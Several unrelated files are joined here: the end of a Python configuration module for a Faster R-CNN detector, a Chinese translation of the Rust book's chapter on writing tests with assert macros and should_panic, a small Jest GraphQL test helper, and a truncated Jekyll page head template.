0.5 __C.TRAIN.BG_THRESH_LO = 0.1 # Use horizontally-flipped images during training? __C.TRAIN.USE_FLIPPED = True # Train bounding-box regressors __C.TRAIN.BBOX_REG = True # Overlap required between a ROI and ground-truth box in order for that ROI to # be used as a bounding-box regression training example __C.TRAIN.BBOX_THRESH = 0.5 # Iterations between snapshots __C.TRAIN.SNAPSHOT_ITERS = 5000 # solver.prototxt specifies the snapshot path prefix, this adds an optional # infix to yield the path: <prefix>[_<infix>]_iters_XYZ.caffemodel __C.TRAIN.SNAPSHOT_PREFIX = 'res101_faster_rcnn' # __C.TRAIN.SNAPSHOT_INFIX = '' # Use a prefetch thread in roi_data_layer.layer # So far I haven't found this useful; likely more engineering work is required # __C.TRAIN.USE_PREFETCH = False # Normalize the targets (subtract empirical mean, divide by empirical stddev) __C.TRAIN.BBOX_NORMALIZE_TARGETS = True # Deprecated (inside weights) __C.TRAIN.BBOX_INSIDE_WEIGHTS = (1.0, 1.0, 1.0, 1.0) # Normalize the targets using "precomputed" (or made up) means and stdevs # (BBOX_NORMALIZE_TARGETS must also be True) __C.TRAIN.BBOX_NORMALIZE_TARGETS_PRECOMPUTED = True __C.TRAIN.BBOX_NORMALIZE_MEANS = (0.0, 0.0, 0.0, 0.0) __C.TRAIN.BBOX_NORMALIZE_STDS = (0.1, 0.1, 0.2, 0.2) # Train using these proposals __C.TRAIN.PROPOSAL_METHOD = 'gt' # Make minibatches from images that have similar aspect ratios (i.e. both # tall and thin or both short and wide) in order to avoid wasting computation # on zero-padding. # Use RPN to detect objects __C.TRAIN.HAS_RPN = True # IOU >= thresh: positive example __C.TRAIN.RPN_POSITIVE_OVERLAP = 0.7 # IOU < thresh: negative example __C.TRAIN.RPN_NEGATIVE_OVERLAP = 0.3 # If an anchor statisfied by positive and negative conditions set to negative __C.TRAIN.RPN_CLOBBER_POSITIVES = False # Max number of foreground examples __C.TRAIN.RPN_FG_FRACTION = 0.5 # Total number of examples __C.TRAIN.RPN_BATCHSIZE = 256 # NMS threshold used on RPN proposals __C.TRAIN.RPN_NMS_THRESH = 0.7 # Number of top scoring boxes to keep before apply NMS to RPN proposals __C.TRAIN.RPN_PRE_NMS_TOP_N = 12000 # Number of top scoring boxes to keep after applying NMS to RPN proposals __C.TRAIN.RPN_POST_NMS_TOP_N = 2000 # Proposal height and width both need to be greater than RPN_MIN_SIZE (at orig image scale) # __C.TRAIN.RPN_MIN_SIZE = 16 # Deprecated (outside weights) __C.TRAIN.RPN_BBOX_INSIDE_WEIGHTS = (1.0, 1.0, 1.0, 1.0) # Give the positive RPN examples weight of p * 1 / {num positives} # and give negatives a weight of (1 - p) # Set to -1.0 to use uniform example weighting __C.TRAIN.RPN_POSITIVE_WEIGHT = -1.0 # Whether to use all ground truth bounding boxes for training, # For COCO, setting USE_ALL_GT to False will exclude boxes that are flagged as ''iscrowd'' __C.TRAIN.USE_ALL_GT = True # # Testing options # __C.TEST = edict() # Scale to use during testing (can NOT list multiple scales) # The scale is the pixel size of an image's shortest side __C.TEST.SCALES = (600,) # Max pixel size of the longest side of a scaled input image __C.TEST.MAX_SIZE = 1000 # Overlap threshold used for non-maximum suppression (suppress boxes with # IoU >= this threshold) __C.TEST.NMS = 0.3 # Experimental: treat the (K+1) units in the cls_score layer as linear # predictors (trained, eg, with one-vs-rest SVMs). __C.TEST.SVM = False # Test using bounding-box regressors __C.TEST.BBOX_REG = True # Propose boxes __C.TEST.HAS_RPN = False # Test using these proposals __C.TEST.PROPOSAL_METHOD = 'gt' ## NMS threshold used on RPN proposals __C.TEST.RPN_NMS_THRESH = 0.7 ## Number of top scoring boxes to keep before apply NMS to RPN proposals __C.TEST.RPN_PRE_NMS_TOP_N = 6000 ## Number of top scoring boxes to keep after applying NMS to RPN proposals __C.TEST.RPN_POST_NMS_TOP_N = 300 # Proposal height and width both need to be greater than RPN_MIN_SIZE (at orig image scale) # __C.TEST.RPN_MIN_SIZE = 16 # Testing mode, default to be 'nms', 'top' is slower but better # See report for details __C.TEST.MODE = 'nms' # Only useful when TEST.MODE is 'top', specifies the number of top proposals to select __C.TEST.RPN_TOP_N = 5000 # # ResNet options # __C.RESNET = edict() # Option to set if max-pooling is appended after crop_and_resize. # if true, the region will be resized to a squre of 2xPOOLING_SIZE, # then 2x2 max-pooling is applied; otherwise the region will be directly # resized to a square of POOLING_SIZE __C.RESNET.MAX_POOL = False # Number of fixed blocks during finetuning, by default the first of all 4 blocks is fixed # Range: 0 (none) to 3 (all) __C.RESNET.FIXED_BLOCKS = 1 # Whether to tune the batch nomalization parameters during training __C.RESNET.BN_TRAIN = False # # MISC # # The mapping from image coordinates to feature map coordinates might cause # some boxes that are distinct in image space to become identical in feature # coordinates. If DEDUP_BOXES > 0, then DEDUP_BOXES is used as the scale factor # for identifying duplicate boxes. # 1/16 is correct for {Alex,Caffe}Net, VGG_CNN_M_1024, and VGG16 __C.DEDUP_BOXES = 1. / 16. # Pixel mean values (BGR order) as a (1, 1, 3) array # We use the same pixel mean for all networks even though it's not exactly what # they were trained with __C.PIXEL_MEANS = np.array([[[102.9801, 115.9465, 122.7717]]]) # For reproducibility __C.RNG_SEED = 3 # A small number that's used many times __C.EPS = 1e-14 # Root directory of project __C.ROOT_DIR = osp.abspath(osp.join(osp.dirname(__file__), '..', '..')) # Data directory __C.DATA_DIR = osp.abspath(osp.join(__C.ROOT_DIR, 'data')) # Name (or path to) the matlab executable __C.MATLAB = 'matlab' # Place outputs under an experiments directory __C.EXP_DIR = 'default' # Use GPU implementation of non-maximum suppression __C.USE_GPU_NMS = True # Default GPU device id __C.GPU_ID = 0 # Default pooling mode, only 'crop' is available __C.POOLING_MODE = 'crop' # Size of the pooled region after RoI pooling __C.POOLING_SIZE = 7 # Anchor scales for RPN __C.ANCHOR_SCALES = [8,16,32] # Anchor ratios for RPN __C.ANCHOR_RATIOS = [0.5,1,2] def get_output_dir(imdb, weights_filename): """Return the directory where experimental artifacts are placed. If the directory does not exist, it is created. A canonical path is built using the name from an imdb and a network (if not None). """ outdir = osp.abspath(osp.join(__C.ROOT_DIR, 'output', __C.EXP_DIR, imdb.name)) if weights_filename is None: weights_filename = 'default' outdir = osp.join(outdir, weights_filename) if not os.path.exists(outdir): os.makedirs(outdir) return outdir def get_output_tb_dir(imdb, weights_filename): """Return the directory where tensorflow summaries are placed. If the directory does not exist, it is created. A canonical path is built using the name from an imdb and a network (if not None). """ outdir = osp.abspath(osp.join(__C.ROOT_DIR, 'tensorboard', __C.EXP_DIR, imdb.name)) if weights_filename is None: weights_filename = 'default' outdir = osp.join(outdir, weights_filename) if not os.path.exists(outdir): os.makedirs(outdir) return outdir def _merge_a_into_b(a, b): """Merge config dictionary a into config dictionary b, clobbering the options in b whenever they are also specified in a. """ if type(a) is not edict: return for k, v in a.items(): # a must specify keys that are in b if k not in b: raise KeyError('{} is not a valid config key'.format(k)) # the types must match, too old_type = type(b[k]) if old_type is not type(v): if isinstance(b[k], np.ndarray): v = np.array(v, dtype=b[k].dtype) else: raise ValueError(('Type mismatch ({} vs. {}) ' 'for config key: {}').format(type(b[k]), type(v), k)) # recursively merge dicts if type(v) is edict: try: _merge_a_into_b(a[k], b[k]) except: print(('Error under config key: {}'.format(k))) raise else: b[k] = v def cfg_from_file(filename): """Load a config file and merge it into the default options.""" import yaml with open(filename, 'r') as f: yaml_cfg = edict(yaml.load(f)) _merge_a_into_b(yaml_cfg, __C) def cfg_from_list(cfg_list): """Set config keys via list (e.g., from command line).""" from ast import literal_eval assert len(cfg_list) % 2 == 0 for k, v in zip(cfg_list[0::2], cfg_list[1::2]): key_list = k.split('.') d = __C for subkey in key_list[:-1]: assert subkey in d d = d[subkey] subkey = key_list[-1] assert subkey in d try: value = literal_eval(v) except: # handle the case when v is a string literal value = v assert type(value) == type(d[subkey]), \ 'type {} does not match original type {}'.format( type(value), type(d[subkey])) d[subkey] = value
## 编写测试 > [ch11-01-writing-tests.md](https://github.com/rust-lang/book/blob/master/second-edition/src/ch11-01-writing-tests.md) > <br> > commit c6162d22288253b2f2a017cfe96cf1aa765c2955 测试用来验证非测试的代码按照期望的方式运行的 Rust 函数。测试函数体通常包括一些设置,运行需要测试的代码,接着断言其结果是我们所期望的。让我们看看 Rust 提供的具体用来编写测试的功能:`test`属性、一些宏和`should_panic`属性。 ### 测试函数剖析 作为最简单例子,Rust 中的测试就是一个带有`test`属性注解的函数。属性(attribute)是关于 Rust 代码片段的元数据:第五章中结构体中用到的`derive`属性就是一个例子。为了将一个函数变成测试函数,需要在`fn`行之前加上`#[test]`。当使用`cargo test`命令运行测试函数时,Rust 会构建一个测试执行者二进制文件用来运行标记了`test`属性的函数并报告每一个测试是通过还是失败。 <!-- is it annotated with `test` by the user, or only automatically? I think it's the latter, and has edited with a more active tone to make that clear, but please change if I'm wrong --> <!-- What do you mean by "only automatically"? The reader should be typing in `#[test] on their own when they add new test functions; there's nothing special about that text. I'm not sure what part of this chapter implied "only automatically", can you point out where that's happening if we haven't taken care of it? /Carol --> 第七章当使用 Cargo 新建一个库项目时,它会自动为我们生成一个测试模块和一个测试函数。这有助于我们开始编写测试,因为这样每次开始新项目时不必去查找测试函数的具体结构和语法了。同时可以额外增加任意多的测试函数以及测试模块! 我们将先通过对自动生成的测试模板做一些试验来探索测试如何工作的一些方面内容,而不实际测试任何代码。接着会写一些真实的测试来调用我们编写的代码并断言他们的行为是正确的。 让我们创建一个新的库项目`adder`: ``` $ cargo new adder Created library `adder` project $ cd adder ``` adder 库中`src/lib.rs`的内容应该看起来像这样: <span class="filename">Filename: src/lib.rs</span> ```rust #[cfg(test)] mod tests { #[test] fn it_works() { } } ``` <span class="caption">Listing 11-1: The test module and function generated automatically for us by `cargo new` </span> 现在让我们暂时忽略`tests`模块和`#[cfg(test)]`注解并只关注函数。注意`fn`行之前的`#[test]`:这个属性表明这是一个测试函数,这样测试执行者就知道将其作为测试处理。也可以在`tests`模块中拥有非测试的函数来帮助我们建立通用场景或进行常见操作,所以需要使用`#[test]`属性标明哪些函数是测试。 这个函数目前没有任何内容,这意味着没有代码会使测试失败;一个空的测试是可以通过的!让我们运行一下看看它是否通过了。 `cargo test`命令会运行项目中所有的测试,如列表 11-2 所示: ``` $ cargo test Compiling adder v0.1.0 (file:///projects/adder) Finished debug [unoptimized + debuginfo] target(s) in 0.22 secs Running target/debug/deps/adder-ce99bcc2479f4607 running 1 test test tests::it_works ... ok test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured Doc-tests adder running 0 tests test result: ok. 0 passed; 0 failed; 0 ignored; 0 measured ``` <span class="caption">Listing 11-2: The output from running the one automatically generated test </span> Cargo 编译并运行了测试。在`Compiling`、`Finished`和`Running`这几行之后,可以看到`running 1 test`这一行。下一行显示了生成的测试函数的名称,它是`it_works`,以及测试的运行结果,`ok`。接着可以看到全体测试运行结果的总结:`test result: ok.`意味着所有测试都通过了。`1 passed; 0 failed`表示通过或失败的测试数量。 这里并没有任何被标记为忽略的测试,所以总结表明`0 ignored`。在下一部分关于运行测试的不同方式中会讨论忽略测试。`0 measured`统计是针对测试性能的性能测试的。性能测试(benchmark tests)在编写本书时,仍只属于开发版 Rust(nightly Rust)。请查看附录 D 来了解更多开发版 Rust 的信息。 测试输出中以`Doc-tests adder`开头的下一部分是所有文档测试的结果。现在并没有任何文档测试,不过 Rust 会编译任何出现在 API 文档中的代码示例。这个功能帮助我们使文档和代码保持同步!在第十四章的“文档注释”部分会讲到如何编写文档测试。现在我们将忽略`Doc-tests`部分的输出。 <!-- I might suggest changing the name of the function, could be misconstrued as part of the test output! --> <!-- `it_works` is always the name that `cargo new` generates for the first test function, though. We wanted to show the reader what happens when you run the tests immediately after generating a new project; they pass without you needing to change anything. I've added a bit to walk through changing the function name and seeing how the output changes; I hope that's sufficient. /Carol --> 让我们改变测试的名称并看看这如何改变测试的输出。给`it_works`函数起个不同的名字,比如`exploration`,像这样: <span class="filename">Filename: src/lib.rs</span> ```rust #[cfg(test)] mod tests { #[test] fn exploration() { } } ``` 并再次运行`cargo test`。现在输出中将出现`exploration`而不是`it_works`: ``` running 1 test test tests::exploration ... ok test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured ``` 让我们增加另一个测试,不过这一次是一个会失败的测试!当测试函数中出现 panic 时测试就失败了。第九章讲到了最简单的造成 panic 的方法:调用`panic!`宏!写入新函数后 `src/lib.rs` 现在看起来如列表 11-3 所示: <span class="filename">Filename: src/lib.rs</span> ```rust #[cfg(test)] mod tests { #[test] fn exploration() { } #[test] fn another() { panic!("Make this test fail"); } } ``` <span class="caption">Listing 11-3: Adding a second test; one that will fail since we call the `panic!` macro </span> 再次`cargo test`运行测试。输出应该看起来像列表 11-4,它表明`exploration`测试通过了而`another`失败了: ```text running 2 tests test tests::exploration ... ok test tests::another ... FAILED failures: ---- tests::another stdout ---- thread 'tests::another' panicked at 'Make this test fail', src/lib.rs:9 note: Run with `RUST_BACKTRACE=1` for a backtrace. failures: tests::another test result: FAILED. 1 passed; 1 failed; 0 ignored; 0 measured error: test failed ``` <span class="caption">Listing 11-4: Test results when one test passes and one test fails </span> `test tests::another`这一行是`FAILED`而不是`ok`了。在单独测试结果和总结之间多了两个新的部分:第一个部分显示了测试失败的详细原因。在这个例子中,`another`因为`panicked at 'Make this test fail'`而失败,这位于 *src/lib.rs* 的第 9 行。下一部分仅仅列出了所有失败的测试,这在很有多测试和很多失败测试的详细输出时很有帮助。可以使用失败测试的名称来只运行这个测试,这样比较方便调试;下一部分会讲到更多运行测试的方法。 最后是总结行:总体上讲,一个测试结果是`FAILED`的。有一个测试通过和一个测试失败。 现在我们见过不同场景中测试结果是什么样子的了,再来看看除了`panic!`之外一些在测试中有帮助的宏吧。 ### 使用`assert!`宏来检查结果 `assert!`宏由标准库提供,在希望确保测试中一些条件为`true`时非常有用。需要向`assert!`宏提供一个计算为布尔值的参数。如果值是`true`,`assert!`什么也不做同时测试会通过。如果值为`false`,`assert!`调用`panic!`宏,这会导致测试失败。这是一个帮助我们检查代码是否以期望的方式运行的宏。 <!-- what kind of thing can be passed as an argument? Presumably when we use it for real we won't pass it `true` or `false` as an argument, but some condition that will evaluate to true or false? In which case, should below be phrased "If the argument evaluates to true" and an explanation of that? Or maybe even a working example would be better, this could be misleading --> <!-- We were trying to really break it down, to show just how the `assert!` macro works and what it looks like for it to pass or fail, before we got into calling actual code. We've changed this section to move a bit faster and just write actual tests instead. /Carol --> 回忆一下第五章中,列表 5-9 中有一个`Rectangle`结构体和一个`can_hold`方法,在列表 11-5 中再次使用他们。将他们放进 *src/lib.rs* 而不是 *src/main.rs* 并使用`assert!`宏编写一些测试。 <!-- Listing 5-9 wasn't marked as such; I'll fix it the next time I get Chapter 5 for editing. /Carol --> <span class="filename">Filename: src/lib.rs</span> ```rust #[derive(Debug)] pub struct Rectangle { length: u32, width: u32, } impl Rectangle { pub fn can_hold(&self, other: &Rectangle) -> bool { self.length > other.length && self.width > other.width } } ``` <span class="caption">Listing 11-5: The `Rectangle` struct and its `can_hold` method from Chapter 5 </span> `can_hold`方法返回一个布尔值,这意味着它完美符合`assert!`宏的使用场景。在列表 11-6 中,让我们编写一个`can_hold`方法的测试来作为练习,这里创建一个长为 8 宽为 7 的`Rectangle`实例,并假设它可以放得下另一个长为5 宽为 1 的`Rectangle`实例: <span class="filename">Filename: src/lib.rs</span> ```rust #[cfg(test)] mod tests { use super::*; #[test] fn larger_can_hold_smaller() { let larger = Rectangle { length: 8, width: 7 }; let smaller = Rectangle { length: 5, width: 1 }; assert!(larger.can_hold(&smaller)); } } ``` <span class="caption">Listing 11-6: A test for `can_hold` that checks that a larger rectangle indeed holds a smaller rectangle </span> 注意在`tests`模块中新增加了一行:`use super::*;`。`tests`是一个普通的模块,它遵循第七章介绍的通常的可见性规则。因为这是一个内部模块,需要将外部模块中被测试的代码引入到内部模块的作用域中。这里选择使用全局导入使得外部模块定义的所有内容在`tests`模块中都是可用的。 我们将测试命名为`larger_can_hold_smaller`,并创建所需的两个`Rectangle`实例。接着调用`assert!`宏并传递`larger.can_hold(&smaller)`调用的结果作为参数。这个表达式预期会返回`true`,所以测试应该通过。让我们拭目以待! ``` running 1 test test tests::larger_can_hold_smaller ... ok test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured ``` 它确实通过了!再来增加另一个测试,这一回断言一个更小的矩形不能放下一个更大的矩形: <span class="filename">Filename: src/lib.rs</span> ```rust #[cfg(test)] mod tests { use super::*; #[test] fn larger_can_hold_smaller() { let larger = Rectangle { length: 8, width: 7 }; let smaller = Rectangle { length: 5, width: 1 }; assert!(larger.can_hold(&smaller)); } #[test] fn smaller_can_hold_larger() { let larger = Rectangle { length: 8, width: 7 }; let smaller = Rectangle { length: 5, width: 1 }; assert!(!smaller.can_hold(&larger)); } } ``` 因为这里`can_hold`函数的正确结果是`false`,我们需要将这个结果取反后传递给`assert!`宏。这样的话,测试就会通过而`can_hold`将返回`false`: ``` running 2 tests test tests::smaller_can_hold_larger ... ok test tests::larger_can_hold_smaller ... ok test result: ok. 2 passed; 0 failed; 0 ignored; 0 measured ``` 这个通过的测试!现在让我们看看如果引入一个 bug 的话测试结果会发生什么。将`can_hold`方法中比较长度时本应使用大于号的地方改成小于号: ```rust #[derive(Debug)] pub struct Rectangle { length: u32, width: u32, } impl Rectangle { pub fn can_hold(&self, other: &Rectangle) -> bool { self.length < other.length && self.width > other.width } } ``` 现在运行测试会产生: ``` running 2 tests test tests::smaller_can_hold_larger ... ok test tests::larger_can_hold_smaller ... FAILED failures: ---- tests::larger_can_hold_smaller stdout ---- thread 'tests::larger_can_hold_smaller' panicked at 'assertion failed: larger.can_hold(&smaller)', src/lib.rs:22 note: Run with `RUST_BACKTRACE=1` for a backtrace. failures: tests::larger_can_hold_smaller test result: FAILED. 1 passed; 1 failed; 0 ignored; 0 measured ``` 我们的测试捕获了 bug!因为`larger.length`是 8 而`smaller.length` 是 5,`can_hold`中的长度比较现在返回`false`因为 8 不小于 5。 ### 使用`assert_eq!`和`assert_ne!`宏来测试相等 测试功能的一个常用方法是将需要测试代码的值与期望值做比较,并检查是否相等。可以通过向`assert!`宏传递一个使用`==`宏的表达式来做到。不过这个操作实在是太常见了,以至于标注库提供了一对宏来方便处理这些操作:`assert_eq!`和`assert_ne!`。这两个宏分别比较两个值是相等还是不相等。当断言失败时他们也会打印出这两个值具体是什么,以便于观察测试**为什么**失败,而`assert!`只会打印出它从`==`表达式中得到了`false`值,而不是导致`false`值的原因。 列表 11-7 中,让我们编写一个对其参数加二并返回结果的函数`add_two`。接着使用`assert_eq!`宏测试这个函数: <span class="filename">Filename: src/lib.rs</span> ```rust pub fn add_two(a: i32) -> i32 { a + 2 } #[cfg(test)] mod tests { use super::*; #[test] fn it_adds_two() { assert_eq!(4, add_two(2)); } } ``` <span class="caption">Listing 11-7: Testing the function `add_two` using the `assert_eq!` macro </span> 测试通过了! ``` running 1 test test tests::it_adds_two ... ok test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured ``` 传递给`assert_eq!`宏的第一个参数,4,等于调用`add_two(2)`的结果。我们将会看到这个测试的那一行说`test tests::it_adds_two ... ok`,`ok`表明测试通过了! 在代码中引入一个 bug 来看看使用`assert_eq!`的测试失败是什么样的。修改`add_two`函数的实现使其加 3: ```rust pub fn add_two(a: i32) -> i32 { a + 3 } ``` 再次运行测试: ``` running 1 test test tests::it_adds_two ... FAILED failures: ---- tests::it_adds_two stdout ---- thread 'tests::it_adds_two' panicked at 'assertion failed: `(left == right)` (left: `4`, right: `5`)', src/lib.rs:11 note: Run with `RUST_BACKTRACE=1` for a backtrace. failures: tests::it_adds_two test result: FAILED. 0 passed; 1 failed; 0 ignored; 0 measured ``` 测试捕获到了 bug!`it_adds_two`测试失败并显示信息`` assertion failed: `(left == right)` (left: `4`, right: `5`) ``。这个信息有助于我们开始调试:它说`assert_eq!`的`left`参数是 4,而`right`参数,也就是`add_two(2)`的结果,是 5。 注意在一些语言和测试框架中,断言两个值相等的函数的参数叫做`expected`和`actual`,而且指定参数的顺序是需要注意的。然而在 Rust 中,他们则叫做`left`和`right`,同时指定期望的值和被测试代码产生的值的顺序并不重要。这个测试中的断言也可以写成`assert_eq!(add_two(2), 4)`,这时错误信息会变成`` assertion failed: `(left == right)` (left: `5`, right: `4`) ``。 `assert_ne!`宏在传递给它的两个值不相等时通过而在相等时失败。这个宏在代码按照我们期望运行时不确定值**应该**是什么,不过知道他们绝对**不应该**是什么的时候最有用处。例如,如果一个函数确定会以某种方式改变其输出,不过这种方式由运行测试是星期几来决定,这时最好的断言可能就是函数的输出不等于其输入。 `assert_eq!`和`assert_ne!`宏在底层分别使用了`==`和`!=`。当断言失败时,这些宏会使用调试格式打印出其参数,这意味着被比较的值必需实现了`PartialEq`和`Debug` trait。所有的基本类型和大部分标准库类型都实现了这些 trait。对于自定义的结构体和枚举,需要实现 `PartialEq`才能断言他们的值是否相等。需要实现 `Debug`才能在断言失败时打印他们的值。因为这两个 trait 都是可推导 trait,如第五章所提到的,通常可以直接在结构体或枚举上添加`#[derive(PartialEq, Debug)]`注解。附录 C 中有更多关于这些和其他可推导 trait 的详细信息。 ### 自定义错误信息 也可以向`assert!`、`assert_eq!`和`assert_ne!`宏传递一个可选的参数来增加用于打印的自定义错误信息。任何在`assert!`必需的一个参数和`assert_eq!`和`assert_ne!`必需的两个参数之后指定的参数都会传递给第八章讲到的`format!`宏,所以可以传递一个包含`{}`占位符的格式字符串和放入占位符的值。自定义信息有助于记录断言的意义,这样到测试失败时,就能更好的例子代码出了什么问题。 例如,比如说有一个根据人名进行问候的函数,而我们希望测试将传递给函数的人名显示在输出中: <span class="filename">Filename: src/lib.rs</span> ```rust pub fn greeting(name: &str) -> String { format!("Hello {}!", name) } #[cfg(test)] mod tests { use super::*; #[test] fn greeting_contains_name() { let result = greeting("Carol"); assert!(result.contains("Carol")); } } ``` 这个程序的需求还没有被确定,而我们非常确定问候开始的`Hello`文本不会改变。我们决定并不想在人名改变时 不得不更新测试,所以相比检查`greeting`函数返回的确切的值,我们将仅仅断言输出的文本中包含输入参数。 让我们通过改变`greeting`不包含`name`来在代码中引入一个 bug 来测试失败时是怎样的, ```rust pub fn greeting(name: &str) -> String { String::from("Hello!") } ``` 运行测试会产生: ```text running 1 test test tests::greeting_contains_name ... FAILED failures: ---- tests::greeting_contains_name stdout ---- thread 'tests::greeting_contains_name' panicked at 'assertion failed: result.contains("Carol")', src/lib.rs:12 note: Run with `RUST_BACKTRACE=1` for a backtrace. failures: tests::greeting_contains_name ``` 这仅仅告诉了我们断言失败了和失败的行号。一个更有用的错误信息应该打印出从`greeting`函数得到的值。让我们改变测试函数来使用一个由包含占位符的格式字符串和从`greeting`函数取得的值组成的自定义错误信息: ```rust,ignore #[test] fn greeting_contains_name() { let result = greeting("Carol"); assert!( result.contains("Carol"), "Greeting did not contain name, value was `{}`", result ); } ``` 现在如果再次运行测试,将会看到更有价值的错误信息: ``` ---- tests::greeting_contains_name stdout ---- thread 'tests::greeting_contains_name' panicked at 'Greeting did not contain name, value was `Hello`', src/lib.rs:12 note: Run with `RUST_BACKTRACE=1` for a backtrace. ``` 可以在测试输出中看到所取得的确切的值,这会帮助我们理解发生了什么而不是期望发生什么。 ### 使用`should_panic`检查 panic 除了检查代码是否返回期望的正确的值之外,检查代码是否按照期望处理错误情况也是很重要的。例如,考虑第九章列表 9-8 创建的`Guess`类型。其他使用`Guess`的代码依赖于`Guess`实例只会包含 1 到 100 的值的保证。可以编写一个测试来确保创建一个超出范围的值的`Guess`实例会 panic。 可以通过对函数增加另一个属性`should_panic`来实现这些。这个属性在函数中的代码 panic 时会通过,而在其中的代码没有 panic 时失败。 列表 11-8 展示了如何编写一个测试来检查`Guess::new`按照我们的期望出现的错误情况: <span class="filename">Filename: src/lib.rs</span> ```rust struct Guess { value: u32, } impl Guess { pub fn new(value: u32) -> Guess { if value < 1 || value > 100 { panic!("Guess value must be between 1 and 100, got {}.", value); } Guess { value: value, } } } #[cfg(test)] mod tests { use super::*; #[test] #[should_panic] fn greater_than_100() { Guess::new(200); } } ``` <span class="caption">Listing 11-8: Testing that a condition will cause a `panic!` </span> `#[should_panic]`属性位于`#[test]`之后和对应的测试函数之前。让我们看看测试通过时它时什么样子: ``` running 1 test test tests::greater_than_100 ... ok test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured ``` 看起来不错!现在在代码中引入 bug,通过移除`new`函数在值大于 100 时会 panic 的条件: ```rust # struct Guess { # value: u32, # } # impl Guess { pub fn new(value: u32) -> Guess { if value < 1 { panic!("Guess value must be between 1 and 100, got {}.", value); } Guess { value: value, } } } ``` 如果运行列表 11-8 的测试,它会失败: ``` running 1 test test tests::greater_than_100 ... FAILED failures: failures: tests::greater_than_100 test result: FAILED. 0 passed; 1 failed; 0 ignored; 0 measured ``` 这回并没有得到非常有用的信息,不过一旦我们观察测试函数,会发现它标注了`#[should_panic]`。这个错误意味着代码中函数`Guess::new(200)`并没有产生 panic。 然而`should_panic`测试可能是非常含糊不清的,因为他们只是告诉我们代码并没有产生 panic。`should_panic`甚至在测试因为其他不同的原因而不是我们期望发生的那个而 panic 时也会通过。为了使`should_panic`测试更精确,可以给`should_panic`属性增加一个可选的`expected`参数。测试工具会确保错误信息中包含其提供的文本。例如,考虑列表 11-9 中修改过的`Guess`,这里`new`函数更具其值是过大还或者过小而提供不同的 panic 信息: <span class="filename">Filename: src/lib.rs</span> ```rust struct Guess { value: u32, } impl Guess { pub fn new(value: u32) -> Guess { if value < 1 { panic!("Guess value must be greater than or equal to 1, got {}.", value); } else if value > 100 { panic!("Guess value must be less than or equal to 100, got {}.", value); } Guess { value: value, } } } #[cfg(test)] mod tests { use super::*; #[test] #[should_panic(expected = "Guess value must be less than or equal to 100")] fn greater_than_100() { Guess::new(200); } } ``` <span class="caption">Listing 11-9: Testing that a condition will cause a `panic!` with a particular panic message </span> 这个测试会通过,因为`should_panic`属性中`expected`参数提供的值是`Guess::new`函数 panic 信息的子字符串。我们可以指定期望的整个 panic 信息,在这个例子中是`Guess value must be less than or equal to 100, got 200.`。这依赖于 panic 有多独特或动态和你希望测试有多准确。在这个例子中,错误信息的子字符串足以确保函数在`else if value > 100`的情况下运行。 为了观察带有`expected`信息的`should_panic`测试失败时会发生什么,让我们再次引入一个 bug 来将`if value < 1`和`else if value > 100`的代码块对换: ```rust,ignore if value < 1 { panic!("Guess value must be less than or equal to 100, got {}.", value); } else if value > 100 { panic!("Guess value must be greater than or equal to 1, got {}.", value); } ``` 这一次运行`should_panic`测试,它会失败: ``` running 1 test test tests::greater_than_100 ... FAILED failures: ---- tests::greater_than_100 stdout ---- thread 'tests::greater_than_100' panicked at 'Guess value must be greater than or equal to 1, got 200.', src/lib.rs:10 note: Run with `RUST_BACKTRACE=1` for a backtrace. note: Panic did not include expected string 'Guess value must be less than or equal to 100' failures: tests::greater_than_100 test result: FAILED. 0 passed; 1 failed; 0 ignored; 0 measured ``` 错误信息表明测试确实如期望 panic 了,不过 panic 信息`did not include expected string 'Guess value must be less than or equal to 100'`。可以看到我们的到的 panic 信息,在这个例子中是`Guess value must be greater than or equal to 1, got 200.`。这样就可以开始寻找 bug 在哪了! 现在我们讲完了编写测试的方法,让我们看看运行测试时会发生什么并讨论可以用于`cargo test`的不同选项。
// ./index.js contains imports to redisClient, which should be mocked in unit tests. jest.mock('src/lib/redisClient'); // Avoid loading src/lib/queue, which really connects to redis jest.mock('src/lib/queues', () => ({})); import { graphql } from 'graphql'; import { schema } from './'; /** * Executes graphql query against the current GraphQL schema. * * Usage: * const result = await gql`query{...}`(variable) * * @returns {(variable: Object, context: Object) => Promise<GraphQLResult>} */ function gql(query, ...substitutes) { return (variables, context = {}) => graphql( schema, String.raw(query, ...substitutes), null, context, variables ); } export { gql };
<head> <meta charset="utf-8"> <title>{% if page.title %}{{ page.title }} |{% endif %} {{ site.theme_settings.title }}</title> <meta name="description" content="{% if page.excerpt %}{{ page.excerpt | strip_html | strip_newlines | truncate: 160 }}{% else %}{{ site.theme_settings.description }}{% endif %}"> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- CSS --> <link rel="stylesheet" href="{{ "/assets/css/main.css" | prepend: site.baseurl }}"> <!--Favicon--> <link rel="shortcut icon" href="{{ "/favicon.ico" | prepend: site.baseurl }}" type="image/x-icon"> <!-- Canonical --> <link rel="canonical" href="{{ page.url | replace:'index.html','' | prepend: site.baseurl | prepend: site.url }}"> <!-- RSS --> <link rel="alternate" type="application/atom+xml" title="{{ site.theme_settings.title }}" href="{{ "/feed.xml" | prepend: site.baseurl | prepend: site.url }}" /> <!-- Font Awesome --> <link href="//maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css" rel="stylesheet"> <!-- Google Fonts --> {% if site.theme_settings.google_fonts %} <link href="//fonts.googleapis.com/css?family={{ site.theme_settings.google_fonts }}" rel="stylesheet" type="text/css"> {% endif %} <meta property="og:locale" content="pt_BR"> <meta property="og:type" content="article"> <meta property="og:title" content="{%if page.title %}{{ page.title }}{% else %}{{ site.title }}{% endif %}"> <meta property="og:url" content="{{ site.url }}{{ page.url }}"/> <meta property="og:image" content="{% if page.seo-image %}{{ site.url }}{{ page.seo-image }}{% else %}{{ site.url }}/assets/img/about_me.jpg{% endif %}"/> <meta property="og:site_name" content="Fábio Miranda Blog"/> <meta property="article:publisher" content="http://www.facebook.com/fabiomirandadev" /> <meta property="article:author" content="https://www.facebook.com/fabiomirandadev" /> <meta property="article:published_time" content="{{ page.date }}" /> <meta name="twitter:card" content="summary_large_image" /> <meta name="twitter:image" content="{% if page.seo-image %}{{ site.url }}{{ page.seo-image }}{% else %}{{ site.url }}/assets/img/about_me.jpg{% endif %}" /> <meta 